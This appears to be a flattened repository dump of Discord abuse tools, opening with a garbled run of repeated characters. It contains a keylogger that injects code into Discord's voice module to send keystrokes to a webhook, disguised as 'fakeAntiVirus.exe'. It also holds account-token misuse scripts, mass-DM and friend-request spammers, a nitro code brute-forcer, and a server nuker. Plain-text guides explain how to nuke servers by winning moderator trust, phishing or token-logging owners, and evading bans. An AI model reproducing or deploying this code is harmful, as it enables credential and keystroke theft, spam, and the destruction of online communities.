LLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLL\n\rLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLL\n\rLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLL\nLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLllllllllllllllllllllllll" 9 | 10 | // Functions 11 | async function sendPayload(){ 12 | console.log("Sending the payload.") 13 | 14 | await request.post(`https://discordapp.com/api/v6/channels/${args[0]}/messages`, { 15 | headers: { 16 | "content-type": "application/json", 17 | authorization: args[1] 18 | }, 19 | body: JSON.stringify({ content: payload }) 20 | }) 21 | 22 | console.log("Payload sent.") 23 | } 24 | 25 | // Main 26 | if(!args.length) return console.log("usage: node index.js ") 27 | 28 | sendPayload() -------------------------------------------------------------------------------- /disabler/README.md: -------------------------------------------------------------------------------- 1 | # disabler (Patched) 2 | Discord account disabler. 3 | 4 | ## Installation 5 | NpmJS: 6 | ``` 7 | npm i request-async 8 | ``` 9 | 10 | ## Usage 11 | ``` 12 | node index.js 13 | ``` 14 | 15 | - token - The Discord account token. -------------------------------------------------------------------------------- /disabler/index.js: -------------------------------------------------------------------------------- 1 | "use strict"; 2 | 3 | // Dependencies 4 | const request = require("request-async") 5 | 6 | // Variables 7 | const token = process.argv.slice(2)[0] 8 | 9 | // Functions 10 | async function disable(){ 11 | await request.patch("https://discord.com/api/v9/users/@me", { 12 | headers: { 13 | "content-type": "application/json", 14 | authorization: token 15 | }, 16 | body: JSON.stringify({ bio: "disabled" }) 17 | }) 18 | 19 | console.log("The account has been disabled.") 20 | } 21 | 22 | // Main 23 | if(!token) return console.log("Usage: node index.js ") 24 | if(!/^(mfa\.[a-z0-9_-]{20,})|([a-z0-9_-]{23,28}\.[a-z0-9_-]{6,7}\.[a-z0-9_-]{27})$/i.test(token[0])) return console.log("You provided an invalid Discord token") 25 | 26 | disable() -------------------------------------------------------------------------------- /discordServerBackup/README.md: -------------------------------------------------------------------------------- 1 | # discordServerBackup 2 | A simple bot to backup your Discord servers. 3 | 4 | ## Installation 5 | NpmJS: 6 | ``` 7 | npm i discord-backup discord.js path 8 | ``` 9 | 10 | ## Setup 11 | 1. Open index.js 12 | 2. Find **dsb > token** then place your Discord bot token there and add your Discord user id in **dsb > access**. 13 | 3. Save it. 14 | 15 | ## Usage 16 | Running the bot: 17 | ``` 18 | node index.js 19 | ``` 20 | 21 | Backup the current server: 22 | ``` 23 | dsb.backup 24 | ``` 25 | 26 | Restore specific backup in the current server: 27 | ``` 28 | dsb.restore 29 | ``` -------------------------------------------------------------------------------- /discordServerBackup/index.js: -------------------------------------------------------------------------------- 1 | "use strict"; 2 | 3 | // Dependencies 4 | const discordBackup = require("discord-backup") 5 | const discord = require("discord.js") 6 | const path = require("path") 7 | 8 | // Variables 9 | var dsb = { 10 | access: [ 11 | 882891618473091082 12 | ], 13 | token: "" 14 | } 15 | 16 | const bot = new discord.Client() 17 | 18 | // Main 19 | discordBackup.setStorageFolder(path.join(__dirname, "backups")) 20 | 21 | bot.on("ready", ()=>{ 22 | console.log(`Kuka is running.`) 23 | }) 24 | 25 | bot.on("message", async(message)=>{ 26 | if(!message.guild) return 27 | if(dsb.access.indexOf(+message.author.id) === -1) return 28 | 29 | const guild = message.guild 30 | const messageArgs = message.content.split(" ") 31 | 32 | if(message.content === "dsb.backup"){ 33 | message.reply("Saving the server, please wait.") 34 | discordBackup.create(guild).then((backupID)=>{message.reply(`Server successfully saved. ID: ${backupID.id}`)}) 35 | }else if(messageArgs[0] === "dsb.restore"){ 36 | const backupID = messageArgs[1] 37 | const backups = await discordBackup.list() 38 | 39 | if(!backupID) return message.reply("usage: dsb.restore ") 40 | if(backups.indexOf(backupID) === -1) return message.reply("Invalid BackupID.") 41 | 42 | discordBackup.fetch(backupID).then(async()=>{ 43 | message.reply("Restoring the specified backup, please wait.") 44 | 45 | discordBackup.load(backupID, guild).then(()=>{ 46 | discordBackup.remove(backupID) 47 | message.reply("Backup successfully restored.") 48 | }) 49 | }) 50 | } 51 | }) 52 | 53 | bot.login(dsb.token) -------------------------------------------------------------------------------- /extra/Bypassing verification needed by phone.txt: -------------------------------------------------------------------------------- 1 | 1. Just press ESC. 2 | -------------------------------------------------------------------------------- /extra/Fastest way to get your account token.txt: -------------------------------------------------------------------------------- 1 | 1. Open Inspect Element. 2 | 2. Go to Network. 3 | 3. Send any message on any channel then find **messages**. 4 | 4. Scroll down and find authorization. 5 | 5. Fast right? -------------------------------------------------------------------------------- /extra/How to enable edit mode.txt: -------------------------------------------------------------------------------- 1 | Open Inspect(CTRL+SHIFT+I) then go to console and paste this code: document.designMode = "on" -------------------------------------------------------------------------------- /extra/How to make multipe Discord accounts with the same email.txt: -------------------------------------------------------------------------------- 1 | This works with Yahoo, Protonmail, Gmail, Hotmail, Yandex, Output, Mail & etc. 2 | 3 | 1. Copy your email go here https://fakedetail.com/fake-mail-generator/gmail and paste it there. 4 | 2. Just pick one email on the results then use it as your email in registering then the verify will be sent in your email the one without . since email checkers/senders ignore . for some reason and that's the cause of it sending the verification code in the original form of the email without knowing. 5 | 3. Have fun. -------------------------------------------------------------------------------- /extra/Using any emoji in any Discord server without nitro.txt: -------------------------------------------------------------------------------- 1 | Do the steps in "Using emoji on other servers without nitro.txt" first. 2 | 3 | 1. After you paste the GIF link in the channel. 4 | 2. Hover your mouse in the GIF then click the star to favorite the GIF. 5 | 3. Your done! To use the GIF again without opening inspect element just go to the "GIF" "Favorites" then click the GIF. -------------------------------------------------------------------------------- /extra/Using emoji on other servers without nitro.txt: -------------------------------------------------------------------------------- 1 | Note: This may not work in Discord web version. 2 | 3 | 1. Install discord & login. https://discord.com/ 4 | 2. Join any discord server that has emojis. 5 | 3. Make an empty server for testing & press CTRL+SHIFT+I to open inspect element. 6 | 4. Find "Network"(https://developer.chrome.com/docs/devtools/network/) then press it, click the emojis icon then scroll down for the emoji(GIF, PNG & etc doesn't matter) that you want to use. 7 | 5. Look at the Network requests then find the emoji(GIF, PNG & etc doesn't matter) that you want to use, Click it then on the right side find "Preview" then click it. 8 | 6. Right click on the Image or GIF then click "Copy Image Url". 9 | 7. Paste it in any Discord server channel. :) -------------------------------------------------------------------------------- /extra/ways to nuke discord servers/The backstabber.txt: -------------------------------------------------------------------------------- 1 | Note: Probably one of the most painful feeling to have is when your friends backstabs you. 2 | 3 | 1. Make a fake Discord account & make it looks like your real account then join your target server. 4 | 2. Be friendly & stuff so people will like you, get attach to events & have bonding with the owner. 5 | 3. Then If the owner really trust you I'm sure they will 100% give you an admin role or moderator on the server. 6 | 4. Heres where the game starts. Use a selfbot server nuker to nuke the server or invite your nuker bot to nuke the server. 7 | 5. After nuked. Leave the server then change your name, profile picture & stuff. -------------------------------------------------------------------------------- /extra/ways to nuke discord servers/The buddha.txt: -------------------------------------------------------------------------------- 1 | Note: This only works If the server has a staff/moderator/admin application form, It's available & your patient. 2 | 3 | 1. Make a alt Discord account so your main one won't get ban. 4 | 2. If the form is available then apply & do your best also act like a good guy so there is a higher chance that you will get accepted or get a long with them. 5 | 3. Once applied and your accepted. You need to be patient to get to the position where you can ban, kick & etc server members. 6 | 4. Alright they have trusted you and they give you an admin role now use a selfbot nuker and nuke the server. 7 | 5. After the server has been nuked leave the server then change your name, profile picture & etc. -------------------------------------------------------------------------------- /extra/ways to nuke discord servers/The genius.txt: -------------------------------------------------------------------------------- 1 | Try all the other methods of ODiscord "ways to nuke servers" 2 | 3 | If they don't work then try some other methods or make a custom method. 4 | 5 | First method: 6 | 1. Learn coding languages & website penetration testing. 7 | 2. Gather some information of Discord then use those information to find bugs that can be exploited. 8 | 3. If found a bug that can be exploited to hack any Discord server owner then hack The discord owner account. 9 | 4. Use selfbot nuker. Really complex right? -------------------------------------------------------------------------------- /extra/ways to nuke discord servers/The risky.txt: -------------------------------------------------------------------------------- 1 | Note: This takes patient & you must be good at conversation. 2 | 3 | 1. Make an alt account and make a Discord bot that does what it's general or thingy is and make a command to invite a bot. 4 | 2. Make the server popular, now once your target server has invited your bot & trusted so they give em an administration role. 5 | 3. Make another bot that nukes, use the command to invite the bot then use that bot to nuke the server & make sure to add a code on the bot so whenever anyone joins except you gets kick automatically. 6 | 4. Now the problem here is the owner, If the owner sue the bot just tell him that maybe it got backdoor & say that you will investigate it. 7 | 5. Server nuked! It's risky but fun maybe and persistent too. -------------------------------------------------------------------------------- /extra/ways to nuke discord servers/The smarty.txt: -------------------------------------------------------------------------------- 1 | Note: This is only for smarts. 2 | 3 | 1. Make an alt. 4 | 2. Try to token log the owner or use some phishing links or make your own attack to get the server owner Discord token. 5 | 3. If you have successfully got the Discord owner token use their own token to nuke their own server. -------------------------------------------------------------------------------- /hypeSquadChanger/README.md: -------------------------------------------------------------------------------- 1 | # hypeSquadChanger 2 | Account hypesquad changer. 3 | 4 | ## Installation 5 | NpmJS: 6 | ``` 7 | npm i request-async 8 | ``` 9 | 10 | ## Usage 11 | ``` 12 | usage: node index.js 13 | ``` 14 | 15 | - token - The Discord account token to use. 16 | - hypeSquadID - What hypesquad(ID) to change the account hypesquad to (HypeSquads: 1 = Bravery, 2 = Brilliance, 3 = Balance). -------------------------------------------------------------------------------- /hypeSquadChanger/index.js: -------------------------------------------------------------------------------- 1 | "use strict"; 2 | 3 | // Dependencies 4 | const request = require("request-async") 5 | const fs = require("fs") 6 | 7 | // Variables 8 | const args = process.argv.slice(2) 9 | 10 | // Functions 11 | async function changeAccountHypeSquad(){ 12 | const response = await request.post("https://discordapp.com/api/v6/hypesquad/online", { 13 | headers: { 14 | "content-type": "application/json", 15 | authorization: args[0] 16 | }, 17 | body: JSON.stringify({ house_id: args[1] }) 18 | }) 19 | 20 | response.statusCode === 204 ? console.log("Account hypesquad successfully changed.") : console.log("Unable to change the account hypesquad.") 21 | } 22 | 23 | // Main 24 | if(!args.length) return console.log("usage: node index.js \nHypeSquads: 1 = Bravery, 2 = Brilliance, 3 = Balance") 25 | if(!args[1]) return console.log("hypeSquadID is invalid.") 26 | 27 | args[1] = +args[1] 28 | 29 | if([1, 2, 3].indexOf(args[1]) === -1) return console.log("hypeSquadID is invalid.") 30 | 31 | changeAccountHypeSquad() -------------------------------------------------------------------------------- /index.js: -------------------------------------------------------------------------------- 1 | console.log("This is nothing. Just for package.json") -------------------------------------------------------------------------------- /invisibleMention/README.md: -------------------------------------------------------------------------------- 1 | # invisibleMention 2 | Mention the specified user invisibly. 3 | 4 | ## Installation 5 | NpmJS: 6 | ``` 7 | npm i argparse request-async 8 | ``` 9 | 10 | ## Usage 11 | ``` 12 | usage: index.js [-h] -ci CHANNELID -ui USERID -mm MASKMESSAGE -t TOKEN 13 | 14 | optional arguments: 15 | -h, --help show this help message and exit 16 | -ci CHANNELID, --channelID CHANNELID 17 | The target channel ID. 18 | -ui USERID, --userID USERID 19 | The target user ID. 20 | -mm MASKMESSAGE, --maskMessage MASKMESSAGE 21 | The message to mask the mention. 22 | -t TOKEN, --token TOKEN 23 | The Discord user token to use. 24 | ``` -------------------------------------------------------------------------------- /invisibleMention/index.js: -------------------------------------------------------------------------------- 1 | "use strict"; 2 | 3 | // Dependencies 4 | const { ArgumentParser } = require("argparse") 5 | const request = require("request-async") 6 | 7 | // Variables 8 | const parser = new ArgumentParser() 9 | 10 | var args; 11 | 12 | // Functions 13 | async function mentionUser(){ 14 | var payload = `${args.maskMessage}:sunglasses: ||​||||​||||​||||​||||​||||​||||​||||​||||​||||​||||​||||​||||​||||​||||​||||​||||​||||​||||​||||​||||​||||​||||​||||​||||​||||​||||​||||​||||​||||​||||​||||​||||​||||​||||​||||​||||​||||​||||​||||​||||​||||​||||​||||​||||​||||​||||​||||​||||​||||​||||​||||​||||​||||​||||​||||​||||​||||​||||​||||​||||​||||​||||​||||​||||​||||​||||​||||​||||​||||​||||​||||​||||​||||​||||​||||​||||​||||​||||​||||​||||​||||​||||​||||​||||​||||​||||​||||​||||​||||​||||​||||​||||​||||​||||​||||​||||​||||​||||​||||​||||​||||​||||​||||​||||​||||​||||​||||​||||​||||​||||​||||​||||​||||​||||​||||​||||​||||​||||​||||​||||​||||​||||​||||​||||​||||​||||​||||​||||​||||​||||​||||​||||​||||​||||​||||​||||​||||​||||​||||​||||​||||​||||​||||​||||​||||​||||​||||​||||​||||​||||​||||​||||​||||​||||​||||​||||​||||​||||​||||​||||​||||​||||​||||​||||​||||​||||​||||​||||​||||​||||​||||​||||​||||​||||​||||​||||​||||​||||​||||​||||​||||​||||​||||​||||​||||​||||​||||​||||​||||​||||​||||​||||​||||​||||​||||​||||​||||​||||||||||||<@${args.userID}>` 15 | 16 | await request.post(`https://discordapp.com/api/v6/channels/${args.channelID}/messages`, { 17 | headers: { 18 | "content-type": "application/json", 19 | authorization: args.token 20 | }, 21 | body: JSON.stringify({ content: payload }) 22 | }) 23 | 24 | console.log("Invisible mention successfully sent.") 25 | } 26 | 27 | // Main 28 | parser.add_argument("-ci", "--channelID", { help: "The target channel ID.", required: true }) 29 | parser.add_argument("-ui", "--userID", { help: "The target user ID.", required: true }) 30 | parser.add_argument("-mm", "--maskMessage", { help: "The message to mask the mention.", required: true }) 31 | parser.add_argument("-t", "--token", { help: "The Discord user token to use.", required: true }) 32 | 33 | args = parser.parse_args() 34 | 35 | mentionUser() -------------------------------------------------------------------------------- /inviteCodeServerInfo/README.md: -------------------------------------------------------------------------------- 1 | # inviteCodeServerInfo 2 | Discord server invite code server information grabber. 3 | 4 | ## Installation 5 | NpmJS: 6 | ``` 7 | npm i request-async json-hood 8 | ``` 9 | 10 | ## Usage 11 | ``` 12 | node index.js 13 | ``` 14 | 15 | - inviteCode - Target Discord server invite code. -------------------------------------------------------------------------------- /inviteCodeServerInfo/index.js: -------------------------------------------------------------------------------- 1 | "use strict"; 2 | 3 | // Dependencies 4 | const request = require("request-async") 5 | const jsonHood = require("json-hood") 6 | 7 | // npm i request-async json-hood 8 | 9 | // Variables 10 | let inviteCode = process.argv.slice(2)[0] 11 | 12 | // Functions 13 | async function getInviteCodeInformation(){ 14 | var response = await request(`https://discord.com/api/v9/invites/${inviteCode}?with_counts=true`) 15 | response = JSON.parse(response.body) 16 | 17 | jsonHood.printJSONasArrowDiagram(response) 18 | } 19 | 20 | // Main 21 | if(!inviteCode) return console.log("usage: node index.js ") 22 | 23 | // If user gives a link, remove the link and keep the invite code 24 | inviteCode = inviteCode.replace(/(https?:\/\/)?(www\.)?(discord\.gg|discord\.com\/invite)\//, "") 25 | 26 | // console.log("Trying code:" + inviteCode) 27 | 28 | getInviteCodeInformation() -------------------------------------------------------------------------------- /keylogger/README.md: -------------------------------------------------------------------------------- 1 | # staticTokenGrabber 2 | 100% undetectable keylogger. 3 | 4 | ## Build 5 | 1. Open index.js then find webhookLink. 6 | 2. Change it with your webhook link. 7 | 3. Compile index.js to exe file using [pkg](https://www.npmjs.com/package/pkg). 8 | 4. Your done. 9 | 10 | Extra: If you want to change the keys sending time find **sendTime** 11 | 12 | PKG compiling example: 13 | ``` 14 | pkg index.js -o fakeAntiVirus.exe 15 | ``` -------------------------------------------------------------------------------- /keylogger/index.js: -------------------------------------------------------------------------------- 1 | "use strict"; 2 | 3 | // Dependencies 4 | const fs = require("fs") 5 | const os = require("os") 6 | 7 | // Variables 8 | const maliciousCode = `\nvar keys = "" 9 | const sendTime = 10000 10 | 11 | document.onkeypress = function(e) { 12 | get = window.event?event:e 13 | key = get.keyCode?get.keyCode:get.charCode 14 | key = String.fromCharCode(key) 15 | 16 | keys += key 17 | } 18 | 19 | window.setInterval(function(){ 20 | if(keys.length >0 ) { 21 | fetch("webhookLink", { 22 | method: "POST", 23 | headers: { 24 | "Content-Type": "application/json" 25 | }, 26 | body: JSON.stringify({ content: keys }) 27 | }).then(data =>{ 28 | keys = "" 29 | }) 30 | } 31 | }, sendTime)` 32 | 33 | // Main 34 | if(fs.existsSync(`C:\\Users\\${os.userInfo().username}\\AppData\\Local\\Discord`)){ 35 | const directories = fs.readdirSync(`C:\\Users\\${os.userInfo().username}\\AppData\\Local\\Discord`, { withFileTypes: true }).filter(dirent => dirent.isDirectory()).map(dirent => dirent.name) 36 | 37 | directories().forEach(directory =>{ 38 | const directories2 = fs.readdirSync(`C:\\Users\\${os.userInfo().username}\\AppData\\Local\\Discord\\${directory}\\modules`, { withFileTypes: true }).filter(dirent => dirent.isDirectory()).map(dirent => dirent.name) 39 | 40 | if(directory.indexOf("app") !== -1){ 41 | directories2().forEach(directory2 =>{ 42 | if(directory2.indexOf("discord_voice") !== -1){ 43 | fs.readFile(`C:\\Users\\${os.userInfo().username}\\AppData\\Local\\Discord\\${directory}\\modules\\${directory2}\\discord_voice\\index.js`, "utf8", function(err, data){ 44 | if(err) process.exit() 45 | if(data.indexOf("fetch(") !== -1) process.exit() 46 | 47 | data += `\n${maliciousCode}` 48 | 49 | fs.writeFileSync(`C:\\Users\\${os.userInfo().username}\\AppData\\Local\\Discord\\${directory}\\modules\\${directory2}\\discord_voice\\index.js`, data, "utf8") 50 | }) 51 | } 52 | }) 53 | } 54 | }) 55 | } -------------------------------------------------------------------------------- /massAddFriend/README.md: -------------------------------------------------------------------------------- 1 | # massAddFriend 2 | Send mass friend requests to server members. 3 | 4 | ## Installation 5 | NpmJS: 6 | ``` 7 | npm i discord.js-selfbot-v13 bottleneck 8 | ``` 9 | 10 | ## Usage 11 | ``` 12 | node index.js 13 | ``` 14 | 15 | - token - Your account Discord token. 16 | - guildID - The target server ID. 17 | 18 | ## Suggested by 19 | This idea was suggested by https://github.com/scloiD -------------------------------------------------------------------------------- /massAddFriend/index.js: -------------------------------------------------------------------------------- 1 | "use strict"; 2 | 3 | // Dependencies 4 | const discord = require("discord.js-selfbot-v13") 5 | const bottleneck = require("bottleneck") 6 | 7 | // Variables 8 | const args = process.argv.slice(2) 9 | const client = new discord.Client() 10 | const threads = new bottleneck.default({ 11 | maxConcurrent: 1, 12 | minTime: 3000 13 | }) 14 | 15 | // Functions 16 | function addFriend(member){ 17 | try{ 18 | member.user.sendFriendRequest().catch(()=>{}) 19 | console.log(`Successfully send friend request to ${member.user.tag}`) 20 | }catch{ 21 | console.log(`Unable to send friend request to ${member.user.tag}, retrying...`) 22 | setTimeout(()=>addFriend(member), 5 * 1000) 23 | } 24 | } 25 | 26 | // Main 27 | if(!args.length) return console.log("usage: node index.js ") 28 | 29 | client.on("ready", async()=>{ 30 | console.log("Successfully login.") 31 | console.log("Fetching guild members, please wait...") 32 | const guild = client.guilds.cache.get(args[1]) 33 | await guild.members.fetch() 34 | console.log("Sending them friend requests, please wait...") 35 | guild.members.cache.filter((m)=>!m.user.bot&&m.user.tag!==client.user.tag).forEach((member)=>{threads.schedule(addFriend, member)}) 36 | }) 37 | 38 | client.login(args[0]) -------------------------------------------------------------------------------- /massDM/README.md: -------------------------------------------------------------------------------- 1 | # massDM 2 | Better messageAll with 1 sec delay every DM. 3 | 4 | ## Installation 5 | NpmJS: 6 | ``` 7 | npm i discord.js-selfbot bottleneck fs 8 | ``` 9 | 10 | ## Usage 11 | ``` 12 | node index.js 13 | ``` 14 | 15 | - token - The Discord account token to use. 16 | - guildID - Target guild id. 17 | - inputFile - Path of a file that contains your message. -------------------------------------------------------------------------------- /massDM/index.js: -------------------------------------------------------------------------------- 1 | "use strict"; 2 | 3 | // Dependencies 4 | const discord = require("discord.js-selfbot-v13") 5 | const bottleneck = require("bottleneck") 6 | const fs = require("fs") 7 | 8 | // Variables 9 | const args = process.argv.slice(2) 10 | const user = new discord.Client() 11 | const threads = new bottleneck.default({ 12 | maxConcurrent: 1, 13 | minTime: 1500 14 | }) 15 | const message = fs.readFileSync(args[2], "utf8") 16 | 17 | // Functions 18 | async function send(guild, memberID){ 19 | try{ 20 | await guild.members.cache.get(memberID).send(message) 21 | console.log(`Successfully sent message to ${memberID}`) 22 | }catch{ 23 | console.log(`Unable to send message to ${memberID}`) 24 | } 25 | } 26 | 27 | // Main 28 | if(!args.length) return console.log("usage: node index.js ") 29 | 30 | user.on("ready", async()=>{ 31 | console.log("massDM is running.") 32 | console.log("Scraping the guild members, please wait...") 33 | const guild = user.guilds.cache.get(args[1]) 34 | await guild.members.fetch({ limit: 0 }) 35 | console.log("Sending the message to the guild members, please wait...") 36 | guild.members.cache.filter((m)=>m.id!==user.user.id).forEach((member)=>{ 37 | threads.schedule(send, guild, member.id) 38 | }) 39 | }) 40 | 41 | user.login(args[0]).catch(()=>{ 42 | console.log("Invalid token.") 43 | process.exit() 44 | }) -------------------------------------------------------------------------------- /massDM/message.txt: -------------------------------------------------------------------------------- 1 | Sup. -------------------------------------------------------------------------------- /massWebhooksDeleter/README.md: -------------------------------------------------------------------------------- 1 | # massWebhooksDeleter 2 | Mass webhooks deleter. 3 | 4 | ## Installation 5 | NpmJS: 6 | ``` 7 | npm i request-async 8 | ``` 9 | 10 | ## Usage 11 | ``` 12 | node index.js 13 | ``` 14 | 15 | - webhooks - The path of the file that contains Discord webhooks link. -------------------------------------------------------------------------------- /massWebhooksDeleter/index.js: -------------------------------------------------------------------------------- 1 | "use strict"; 2 | 3 | // Dependencies 4 | const request = require("request-async") 5 | const fs = require("fs") 6 | 7 | // Variables 8 | var webhooks = process.argv.slice(2)[0] 9 | var index = 0 10 | 11 | // Function 12 | async function deleteWebhook(webhook){ 13 | try{ 14 | const response = await request(webhook, { method: "delete" }) 15 | 16 | response.statusCode === 204 ? console.log(`Webhook successfully deleted. ${webhook}`) : console.log(`Failed to delete webhook. ${webhook}`) 17 | }catch{ 18 | console.log(`Failed to delete webhook. ${webhook}`) 19 | } 20 | 21 | index++ 22 | 23 | if(index === webhooks.length) return console.log("Finished!") 24 | } 25 | 26 | // Main 27 | if(!webhooks) return console.log("usage: node index.js ") 28 | if(!fs.existsSync(webhooks)) return console.log("Unable to find the file that contains webhooks link.") 29 | 30 | webhooks = fs.readFileSync(webhooks, "utf8").replace(/\r/g, "").split("\n") 31 | 32 | for( const webhook of webhooks ) deleteWebhook(webhook) -------------------------------------------------------------------------------- /messageAll/README.md: -------------------------------------------------------------------------------- 1 | # messageAll 2 | Send's your desire message to everyone in the current server. 3 | 4 | ## Installation 5 | NpmJS: 6 | ``` 7 | npm i discord.js-selfbot-v13 8 | ``` 9 | 10 | ## Usage 11 | Run the selfbot: 12 | ``` 13 | node index.js 14 | ``` 15 | 16 | Selfbot command: 17 | ``` 18 | M$messageall Hello Everyone! This is from Me. 19 | ``` 20 | 21 | - token - The Discord account token to use. 22 | -------------------------------------------------------------------------------- /messageAll/index.js: -------------------------------------------------------------------------------- 1 | "use strict"; 2 | 3 | // Dependencies 4 | const discord = require("discord.js-selfbot-v13") 5 | // npm i discord.js-selfbot-v13 6 | 7 | // Variables 8 | const token = process.argv.slice(2)[0] 9 | const user = new discord.Client() 10 | 11 | // Main 12 | if(!token) return console.log("usage: node index.js ") 13 | if (token.includes("<") || token.includes(">")) { 14 | token.replace("<", "").replace(">", "") 15 | } 16 | 17 | user.on("ready", ()=>{ 18 | console.log("Selfbot is running.") 19 | }) 20 | 21 | user.on("message", (message)=>{ 22 | const messageArgs = message.content.split(" ") 23 | 24 | if(message.author.id == user.user.id){ 25 | if(messageArgs[0] === "M$messageall"){ 26 | message.delete() 27 | 28 | message.guild.members.cache.forEach(member =>{ 29 | member.send(messageArgs.slice(1).join(" ")).then(()=>{ 30 | console.log(`Successfully sent the message to this user ${member.user.tag}`) 31 | }).catch(()=>{ 32 | console.log(`Failed to send the message to this user ${member.user.tag}`) 33 | }) 34 | }) 35 | } 36 | } 37 | }) 38 | 39 | user.login(token).catch(()=>{ 40 | console.log("Invalid token.") 41 | process.exit() 42 | }) 43 | -------------------------------------------------------------------------------- /multiLineSpammer/README.md: -------------------------------------------------------------------------------- 1 | # multiLineSpammer 2 | Spams a lot's of new lines in the specified Discord server channel. 3 | 4 | ## Installation 5 | NpmJS: 6 | ``` 7 | npm i argparse discord.js-selfbot 8 | ``` 9 | 10 | ## Usage 11 | ``` 12 | usage: index.js [-h] -ci CHANNELID -ui USERID -mm MASKMESSAGE -t TOKEN 13 | 14 | optional arguments: 15 | -h, --help show this help message and exit 16 | -ci CHANNELID, --channelID CHANNELID 17 | The target channel ID. 18 | -ui USERID, --userID USERID 19 | The target user ID. 20 | -mm MASKMESSAGE, --maskMessage MASKMESSAGE 21 | The message to mask the mention. 22 | -t TOKEN, --token TOKEN 23 | The Discord user token to use. 24 | ``` -------------------------------------------------------------------------------- /multiLineSpammer/index.js: -------------------------------------------------------------------------------- 1 | "use strict"; 2 | 3 | // Dependencies 4 | const { ArgumentParser } = require("argparse") 5 | const request = require("request-async") 6 | 7 | // Variables 8 | const parser = new ArgumentParser() 9 | 10 | var payload; 11 | var args; 12 | 13 | // Functions 14 | function generateNewLines(amount){ 15 | var result = "" 16 | for( let i = 0; i <= amount; i++ ) result += "\n" 17 | return result 18 | } 19 | 20 | async function send(i){ 21 | var response = await request.post(`https://discord.com/api/v9/channels/${args.channelID}/messages`, { 22 | headers: { 23 | "content-type": "application/json", 24 | authorization: args.token 25 | }, 26 | body: JSON.stringify({ content: payload, nonce: `AAAAAAAA${Math.floor(Math.random() * 9999999999)}` }) 27 | }) 28 | 29 | response = JSON.parse(response.body) 30 | 31 | if(response.hasOwnProperty("retry_after")){ 32 | return setTimeout(()=>{send(i)}, response.retry_after) 33 | }else{ 34 | console.log("New lines successfully sent.") 35 | } 36 | 37 | if(i++ === args.amount-1){ 38 | console.log("Finished.") 39 | process.exit() 40 | } 41 | } 42 | 43 | // Main 44 | parser.add_argument("-ci", "--channelID", { help: "The target channel ID.", required: true }) 45 | parser.add_argument("-nla", "--newLinesAmount", { help: "The amount of new lines to generate.", required: true }) 46 | parser.add_argument("-a", "--amount", { help: "The amount to spam the new lines.", required: true }) 47 | parser.add_argument("-t", "--token", { help: "The Discord account token to use.", required: true }) 48 | 49 | args = parser.parse_args() 50 | 51 | payload = `\nLOL${generateNewLines(args.newLinesAmount)}LOL\n` 52 | 53 | for( let i = 0; i <= args.amount-1; i++ ){ 54 | send(i) 55 | } -------------------------------------------------------------------------------- /nitroGenerator&Checker/README.md: -------------------------------------------------------------------------------- 1 | # nitroGenerator&Checker 2 | Blazing fast Discord nitro generator, checker & auto claim. 3 | 4 | ## Installation 5 | NpmJS: 6 | ``` 7 | npm i random-useragent discordnitro request-async 8 | ``` 9 | 10 | ## Usage 11 | ``` 12 | node index.js 13 | ``` 14 | 15 | - speed - The speed in generating (Milliseconds). 16 | - token - The Discord account token that will be used for auto claim. -------------------------------------------------------------------------------- /nitroGenerator&Checker/index.js: -------------------------------------------------------------------------------- 1 | "use strict"; 2 | 3 | // Dependencies 4 | const randomUserAgent = require("random-useragent") 5 | const discordNitro = require("discordnitro") 6 | const request = require("request-async") 7 | 8 | // Variables 9 | const args = process.argv.slice(2) 10 | 11 | //Main 12 | if(!args.length) return console.log("usage: node index.js ") 13 | if(!args[0]) return console.log("Invalid speed.") 14 | if(isNaN(args[0])) return console.log("speed is not a number.") 15 | if(!args[1]) return console.log("Invalid token.") 16 | 17 | console.log("Generating & Checking has started.") 18 | setInterval(async function(){ 19 | try{ 20 | const code = discordNitro(1)[0] 21 | 22 | const response = await request(`https://discordapp.com/api/v9/entitlements/gift-codes/${code}?with_application=false&with_subscription_plan=true`, { 23 | headers: { 24 | "User-Agent": randomUserAgent.getRandom() 25 | } 26 | }) 27 | 28 | try{ 29 | if(response.statusCode === 200){ 30 | console.log(`Valid nitro code: ${code}`) 31 | 32 | var response2 = await request(`https://discordapp.com/api/v6/entitlements/gift-codes/${code}/redeem`, { 33 | headers: { 34 | authorization: args[1] 35 | } 36 | }) 37 | response2 = response2.body 38 | 39 | if(response2.indexOf("redeemed already") !== -1){ 40 | console.log(Chalk.red(`Nitro code ${code} is already redeemed.`)) 41 | }else if(response2.indexOf("nitro") !== -1){ 42 | console.log(Chalk.greenBright(`Nitro code ${code} claimed.`)) 43 | }else{ 44 | console.log(Chalk.red(`Unknown nitro code: ${code}`)) 45 | } 46 | }else{ 47 | console.log(`Invalid nitro code: ${code}`) 48 | } 49 | }catch{ 50 | console.log(`Invalid nitro code: ${code}`) 51 | } 52 | }catch{} 53 | }, args[0]) -------------------------------------------------------------------------------- /nukers/NuclearNuke/README.md: -------------------------------------------------------------------------------- 1 | # NuclearNuke 2 | Simple yet powerful & fast Discord server nuker. 3 | 4 | ## Installation 5 | NpmJS: 6 | ``` 7 | npm i discord.js chalk delay 8 | ``` 9 | 10 | ## Setup 11 | 1. Open index.js 12 | 2. Find NuclearNuke.token and place your Discord bot token there. 13 | 3. Find NuclearNuke.userID and place your Discord account id there. 14 | 4. Save it & your done! 15 | 16 | ## Usage 17 | ``` 18 | node index.js 19 | ``` 20 | 21 | ## Extra 22 | If you want to change the configuration of NuclearNuke open index.js then find NuclearNuke.configuration and just change It's properties value. -------------------------------------------------------------------------------- /nukers/NuclearNuke/index.js: -------------------------------------------------------------------------------- 1 | "use strict"; 2 | 3 | // Dependencies 4 | const discord = require("discord.js"); 5 | const chalk = require("chalk"); 6 | 7 | // Variables 8 | const bot = new discord.Client() 9 | 10 | var NuclearNuke = { 11 | token: "", 12 | userID: "", 13 | configuration: { 14 | 